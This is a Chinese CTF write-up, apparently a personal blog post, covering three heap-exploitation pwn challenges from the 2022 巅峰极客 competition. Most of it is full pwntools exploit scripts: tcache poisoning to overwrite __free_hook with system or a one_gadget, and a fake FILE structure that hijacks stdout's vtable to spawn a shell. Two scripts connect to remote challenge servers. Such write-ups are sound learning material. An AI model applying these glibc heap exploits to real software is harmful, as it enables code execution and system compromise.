2022巅峰极客-pwn

本文最后更新于:2023年10月15日 晚上

Gift

choice_gift

remove_gift

check_gift

bargain

程序中仅允许创建10chunk,但在remove_gift函数中存在uafbargain函数可以用来修改chunkfd,且可以输入负数让fd向大地址偏移,但只能修改低四字节,经过测试,靶机中libc版本为libc_2.27~libc_2.31,所以可以利用tcache bin attack,在free_hook的位置写入one_gadget函数,来获取shell,使用正常的方法先释放7chunk填满tcache bin,再释放一个chunk,使其进入unsorted bin来获取libc地址,这时已经创建了8chunkbargain函数又不能修改整个fd字段,所以这种方法不行,不过可以利用bargain修改tcache bin的结构,让原本释放过的chunk,再次释放,这样可以省下一开始创建chunk的数量,又可以构造double free达到tcache bin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import time
from LibcSearcher import *
#context.log_level='debug'
def add(mode,data=' '):
p.sendlineafter('choice:','2')
p.sendlineafter('choice:',str(mode))
p.sendafter('gift!',data)
time.sleep(0.1)

def free(ind):
p.sendlineafter('choice:','3')
p.sendlineafter('index?',str(ind))
time.sleep(0.1)

def show(ind):
p.sendlineafter('choice:','4')
p.sendlineafter('index?',str(ind))
time.sleep(0.1)

def back(ind,off):
p.sendlineafter('choice:','5')
p.sendlineafter('index?',str(ind))
p.sendlineafter('much?',str(off))
time.sleep(0.1)

def pwn(p,gadget):
libc=ELF('./libc-2.27.so',checksec=0)

for i in range(4):
add(1,b'\x00'*0x80+p64(0)+p64(0x111))
#0~3 0x110
add(1) #4

free(0)
free(4)
free(3)
free(1)
free(2)

show(2)
p.readuntil('cost: ')
heap_1=int(p.readline())
print(hex(heap_1))
back(2,-1*(0x120))
free(4)
free(3)

free(0)
show(0)
p.readuntil('cost: ')
d=int(p.readline())
malloc_hook=d-0x60-0x10
print(hex(malloc_hook))
libc.address=malloc_hook-libc.sym['__malloc_hook']
system=libc.address+gadget
free_hook=libc.sym['__free_hook']
print(hex(free_hook))

add(1,b'/bin/sh\x00') #5
add(1,b'/bin/sh\x00') #6
add(1,p64(free_hook-0x10)) #7
add(1,b'/bin/sh\x00') #8
add(1,p64(system)) #9

free(6)
p.interactive()

for i in [0x4f2a5,0x4f302,0x10a2fc]:
try:
p=remote('182.92.74.66 21469')
pwn(p,i)
except Exception as e:
print(e)

smallcontainer

add

delete

edit

check

show

问题出在check函数中,check函数会检测被修改的chunk的数据,直到某个字节为0,这导致如果curr_chunkdata的每个字节都不为0,且next_chunksize段的第一个字节为0x11时,程序会设置next_chunksize段的第一个字节为0x00,这样可以把next_chunkinuse为设置为0,表示了当前chunk是被释放的chunk,如果能够把next_chunk放入unsorted bin,程序就会将curr_chunknext_chunk合并,虽然当前chunk没有被释放
如果我们在从unsorted bin中获取到chunk,则在heappp数组中就会存在两个指向同一chunk的指针,这样就可以利用tcache bin attack,在free_hook中写入system函数地址,执行system("/bin/sh");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
#context.log_level='debug'
def add(size):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(size))

def free(ind):
p.sendlineafter('> ','2')
p.sendlineafter('index: ',str(ind))

def edit(ind,data=' '):
p.sendlineafter('> ','3')
p.sendlineafter('index: ',str(ind))
p.send(data)

def show(ind):
p.sendlineafter('> ','4')
p.sendlineafter('index: ',str(ind))
return int(p.readuntil('This',drop=1),16)

libc=ELF('./libc-2.27.so',checksec=0)

#p=process('./pwn')
#gdb.attach(p)
p=remote('123.56.121.45','24258')
add(0x1f8) #0
add(0x1f8) #1
add(0x1f8) #2
add(0x208) #3
add(0x1f8) #4
add(0x1f8) #5
add(0x1f8) #6
add(0x1f8) #7
add(0x1f8) #8
add(0x1f8) #9
add(0x1f8) #10

free(0) #1
free(1) #2
add(0x1f8) #0 #1

heap_0=show(0)-0x10
heap_1=heap_0+0x200
heap_2=heap_1+0x200
print(hex(heap_0))

free(5) #2
free(6) #3
free(7) #4
free(8) #5
free(9) #6
free(10) #7

edit(0,p64(heap_2)+p64(heap_2))
payload=b'\x00'*0x1f0+p64(0)+p64(0x211)
edit(3,payload)
edit(2,'a'*0x208)
payload=p64(heap_1)*2
payload=payload.ljust(0x1f0,b'\x00')+p64(0x200)
edit(2,payload)
#pause()
free(3)

malloc_hook=show(2)-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
print(hex(free_hook))

for i in range(7):
add(0x1f8)
#0 3 5 6 7 8 9

add(0x1f8) # 10
free(1)
free(2)
edit(10,p64(free_hook))
add(0x1f8) #1
edit(1,b'/bin/sh\x00')
add(0x1f8) #2
edit(2,p64(system))
free(1)
p.interactive()

happy_note

main

delete_one

edit

show

create

delete

程序允许用户执行一次uaf,并且允许用户从tcache bin中获取两次chunk,那么重点就是这唯一一次uaf如何使用,我的想法是用于泄露chunk地址libc地址,并用于修改small binchunkbk字段为某个tcache bin的地址,tcache bin的地址可以通过chunk的地址进行计算,small binchunk逆序进入tcache bin,这时当前tcache bin的第一个成员就为某一个tcache bin的地址,当我们在tcache bin的地址创建一个chunk,并修改tcache bin的内容,就可以在一个任意地址创建chunk,进行任意读写,因为libc2.34中删除了malloc_hook,free_hook,所以我们只能利用IO调用system函数one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *

def add(size,ind,mode=1):
p.sendlineafter('>> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('note:',str(ind))
p.sendlineafter('[2]',str(mode))

def free(ind,mode=1):
if mode:
p.sendlineafter('>> ','2')
p.sendlineafter('note:',str(ind))
else:
p.sendlineafter('>> ','666')
p.sendlineafter('note:',str(ind))

def show(ind):
p.sendlineafter('>> ','3')
p.sendlineafter('show?',str(ind))

def edit(ind,data):
p.sendlineafter('>> ','4')
p.sendlineafter('note:',str(ind))
p.sendafter('content:',data)

def pwn(p):

libc=ELF("libc.so.6",checksec=0)
ld=ELF('ld-2.34.so',checksec=0)

for i in range(4):
add(0x98,i)
for i in range(4):
free(i)

for i in range(7):
add(0xa8,i)
for i in range(7):
free(i)

for i in range(7):
add(0x148,i)
for i in range(7):
free(i)

add(0x158,1)
free(1)

add(0x148,0)
add(0xa8,1)
free(0)
add(0xa8,0)

add(0x148,2)
add(0xa8,3)
free(2)
add(0xa8,2)

add(0xa8,5)
add(0xa8,6)
free(5)
free(6,0) #6 = addr

add(0x148,4)
add(0xa8,5)
free(4)
add(0xa8,4)
add(0x148,7)
"""
利用chunk分裂,将0xa0大小的chunk放入small bin
"""
context.log_level='debug'
show(6)

p.readuntil('content: ')
smallb_2=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(smallb_2))
tcache_150=(smallb_2-0x150*7-0xb0*7-0xa0*4-0x150-0xb0-0xb0)&0xfffffffffffff000
tcache_150+=0x128
print(hex(tcache_150))
gadget_back=smallb_2+0xa0+0xb0+0x150+0xb0+0x10
gadget_back1=gadget_back+0x150
edit(6,'a'*8)
show(6)
p.readuntil('aaaaaaaa')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d))

stdin=d-0x200-208
libc.address=stdin-libc.sym['_IO_2_1_stdin_']

stdout=libc.sym['_IO_2_1_stdout_']
print(hex(stdout))

edit(6,p64(smallb_2)+p64(tcache_150-0x18))

add(0x98,8)
add(0x98,9,2)
edit(9,p64(stdout)*2)
add(0x148,10,2)

system=libc.sym['system']
io_lock=libc.address+2210384
io_wfile_jump=libc.sym['_IO_wfile_jumps']

fake_IO=b'/bin/sh\x00'+p64(0)*3
fake_IO+=p64(0)+p64(0)+p64(1)
fake_IO+=p64(system)+p64(system+1)
fake_IO+=p64(0)*5
fake_IO+=p64(1)+p64(0xffffffffffffffff)
fake_IO+=p64(0)+p64(io_lock)
fake_IO+=p64(0xffffffffffffffff)+p64(0)
fake_IO+=p64(stdout+0x10)+p64(0)
fake_IO+=p64(0)*2
fake_IO+=p64(0xffffffff)+p64(0)
fake_IO+=p64(0)+p64(io_wfile_jump+0x10)
fake_IO+=p64(0)*2+p64(stdout+0x20)
"""
修改原stdout的vtable字段为 IO_wfile_jumps+0x10
使原本应该的 xputsn 项指向 _IO_wfile_seekoff
在_IO_wfile_seekoff函数中会调用_IO_switch_to_wget_mode 函数
在_IO_switch_to_wget_mode会调用stdout的wide_data字段的vtable字段中overflow项对应的函数,参数为指向stdout的指针

要注意的是在高版本libc中对 IO结构体的vtable指针进行了检测
防止vtable 指向任意位置
"""
edit(10,fake_IO)

p.interactive()

p=process('./back')
pwn(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* vtable检测函数 */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

2022巅峰极客-pwn
https://rot-will.github.io/page/wp/2022巅峰极客-pwn/
作者
rot_will
发布于
2022年8月18日
更新于
2023年10月15日
许可协议